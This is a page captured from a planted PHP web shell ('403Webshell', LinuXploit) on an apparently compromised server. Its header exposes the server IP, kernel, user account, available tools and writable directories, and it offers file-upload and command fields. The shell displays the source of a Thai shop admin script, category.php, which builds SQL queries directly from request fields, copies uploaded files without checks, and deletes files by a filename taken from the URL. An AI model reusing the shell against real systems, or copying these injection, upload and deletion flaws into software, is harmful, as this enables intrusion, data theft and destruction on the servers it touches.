403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/cooperative/sell/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/cooperative/sell/category.php
<?
ob_start();
session_start();
if($_SESSION["adminlogin"]=="")
{
header('location:index.php');
exit();
}
//============ Start Session และทำการเรียก Function ติดต่อฐานข้อมูล 
require_once('../connect/connect.php');
?>
<html>
<title>..:: ระบบจัดการฐานข้อมูล ::</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="../css/styles.css" type="text/css">
 
<div align="center"><br>
  <table cellspacing=1 cellpadding=4 width="59%" bgcolor=#CCCCCC border=0 align="center" height="10">
    <tbody>
      <tr bgcolor=#e5e5e5> 
        <td width="100%" bgcolor="#FFFFFF"> <div align="center"></div>
          <table cellspacing=1 cellpadding=4 width="100%" border=0 align="center" height="10">
            <tbody>
              <tr bgcolor=#e5e5e5> 
                <td width="35%" bgcolor="#FFFFFF"> <div align="left"><b><img src="../image/allrowto.gif" width="11" height="11" align="absbottom"> 
                    หมวดสินค้า</b></div></td>
                <td width="22%" align=middle bgcolor="#FFFFFF"> <div align="left"> 
                  </div></td>
                <td width="43%" bgcolor="#FFFFFF"> <div align="right"><a href="head.php">กลับไปหน้าหลัก</a></div></td>
              </tr>
            </tbody>
          </table></td>
      </tr>
    </tbody>
  </table>
</div>
<?				//=========== กรณีมีการแก้ไขหมวดสินค้า
                       if($_POST["update"]==True)
	                   {
						   //=========== บันทึกข้อมูล
	                  $sql_up = "update category set CategoryName='$_POST[txtCategoryName]',CheckStock='$_POST[txtCheck]' where CatID='$_POST[CatID]'";
                    
					//echo $sql_up ;
					  $dbquery_up = mysql_db_query($db, $sql_up);
					  //exit();
					  //=========== ถ้ามีการแก้ไขไฟล์
					                   	if(!empty($file1))
                                             {
														$path="../picture";									 
                                                        @copy( $file1 ,"$path/$file1_name");
                                                       $sql_up = "update category set Picture='$file1_name' where CatID='$_POST[CatID]'";
                                                        $dbquery_up = mysql_db_query($db, $sql_up);
								  }
					  
									echo"<script language='JavaScript'>";
									echo"alert('แก้ไขข้อมูลเรียบร้อยแล้ว');";
									echo"window.location='category.php';";
									echo"</script>";					  
			 		  }
					  
					  //===========  ถ้ามีการลบข้อมูล
						if($_GET["del"]==True)
						{
							//=========== ลบหมวด
							$sql_del= "delete from category  where CatID='$_GET[CatID]'";
							$dbquery_del = mysql_query($sql_del);
							//=========== ลบรูปภาพ
							@unlink("../picture/$_GET[filename]");
									echo"<script language='JavaScript'>";
									echo"alert('ลบข้อมูลเรียบร้อยแล้ว');";
									echo"window.location='category.php';";
									echo"</script>";							
						}
						//=========== ถ้ามีการเพิ่มหมวดหมวดใหม่
						if($_POST["add"]==True)
						{
								 $path="../picture";
								//=========== อัพโหลตรูปภาพ
								copy( $file1 , "$path/$file1_name" );
								//=========== บันทึกข้อมูล
								 $sql = "insert into category(CategoryName,Picture) values ('$_POST[txtCategoryName]','$file1_name')";
								 $dbquery = mysql_query($sql);
						 		
									echo"<script language='JavaScript'>";
									echo"alert('เพิ่มข้อมูลเรียบร้อยแล้ว');";
									echo"window.location='category.php';";
									echo"</script>";
															 
						}					
	   
	   //=========== เอาข้อมุลมาแสดงทั้งหมด
			$sql_group = "select * from category order by CatID asc";
			$dbquery_group = mysql_query($sql_group);
			$num_rows_group = mysql_num_rows($dbquery_group);
			while ($result = mysql_fetch_array($dbquery_group))
			{
                	?>
<form name="frm<?=$i;?>" method="post" action="<?=$_SERVER['PHP_SELF'];?>" enctype="multipart/form-data">
  
  <table cellspacing=1 cellpadding=4 width="59%" bgcolor=#CCCCCC border=0 align="center" height="10">
    <tbody>
      <tr bgcolor=#e5e5e5> 
        <td width="104" bgcolor="#FFFFFF"> <div align="center"></div>
          &nbsp; <table cellspacing=1 cellpadding=4 width="100%" border=0 align="center" height="10">
    <tbody> 
    <tr bgcolor=#e5e5e5> 
      <td width="50" bgcolor="#FFFFFF"> 
        <div align="center"> 
          <input name="CatID" type="hidden" class="checkbox" id="CatID" value="<?=$result["CatID"]; ?>">
          </div>
      </td>
      <td width="440" align=middle bgcolor="#FFFFFF"> 
        <div align="left">  
          <input name="txtCategoryName" type="text" class="txtbox" id="txtCategoryName" value="<?=$result["CategoryName"]; ?>" size="50">
                    <br>
                    จำนวนที่ต้องการให้แสดงเมื่อสินค้าใกล้หมด
                    <input name="txtCheck" type="text" class="txtbox" id="txtCheck" value="<?=$result["CheckStock"]; ?>" size="10">
                    <input type="hidden" name="update" value="True">
                    <script language="JavaScript">

function Conf<?=$result["CatID"]; ?>(object) {
if (confirm("ยืนยันการลบหมวด  [  <?=$result["CategoryName"]; ?> ] ") ==true) {
return true;
}
return false;
}

</script>
          </span><br>
                    <a href="product.php?CatID=<?=$result["CatID"];?>"><img src="../picture/<?=$result["Picture"]; ?>" width="60" height="60" border="0"></a> 
                    <br>
          แก้ไข 
          <input type="file" name="file1" class="txtbox">
                    60*60<br>
          <br>
          <input type="submit" name="Submit" value="บันทึกข้อมูล" class="button">
          <br>
          </div>
      </td>
      <td width="48" bgcolor="#FFFFFF"> 
        <div align="center"><a href="<?=$_SERVER['PHP_SELF'];?>?CatID=<?=$result["CatID"]; ?>&filename=<?=$result["Picture"]; ?>&del=True" onClick="return Conf<?=$result["CatID"]; ?>(this)"><img src="../image/delete.gif" width="16" height="16" border="0"></a></div>
      </td>
    </tr>
    </tbody> 
  </table></td>
      </tr>
    </tbody>
  </table>
</form>
<?
	                     	$i++;
	                         	}
	                      	?>
<table cellspacing=1 cellpadding=4 width="59%" bgcolor=#9999FF border=0 align="center" height="10">
  <tbody> 
  <tr bgcolor=#e5e5e5> 
    <td width="104" bgcolor="#FFFFFF"> 
      <div align="center"><b>เพิ่มหมวดสินค้า</b> 
      </div>
      <form action="<?=$_SERVER['PHP_SELF'];?>" method="post" enctype="multipart/form-data" name="frmAdd" id="frmAdd">
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr> 
            <td width="11%"><input name="add" type="hidden" id="add" value="True"></td>
            <td width="69%"> 
              <input name="txtCategoryName" type="text" class="txtbox" id="txtCategoryName" value="ชื่อหมวด">
              <br>
                ไฟล์รูปภาพ 
                <input type="file" name="file1" class="txtbox" size="20">
                60*60 </td>
            <td width="20%">&nbsp;</td>
          </tr>
          <tr> 
            <td width="11%">&nbsp;</td>
            <td width="69%"> <br>
              <input type="submit" name="Submit2" value="เพิ่ม" class="button">
            </td>
            <td width="20%">&nbsp;</td>
          </tr>
        </table>
      </form>
      &nbsp; </td>
  </tr>
  </tbody> 
</table>
<table cellspacing=0 cellpadding=0 width="59%" bgcolor=#CCCCCC border=0 align="center" height="10">
  <tbody>
    <tr bgcolor=#e5e5e5> 
      <td width="100%" bgcolor="#FFFFFF"> <div align="center"></div>
        <table cellspacing=1 cellpadding=4 width="100%" border=0 align="center" height="10">
          <tbody>
            <tr bgcolor=#e5e5e5> 
              <td width="35%" bgcolor="#FFFFFF"> <div align="left"></div></td>
              <td width="22%" align=middle bgcolor="#FFFFFF"> <div align="left"> 
                </div></td>
              <td width="43%" bgcolor="#FFFFFF"> <div align="right"><a href="head.php">กลับไปหน้าหลัก</a></div></td>
            </tr>
          </tbody>
        </table></td>
    </tr>
  </tbody>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit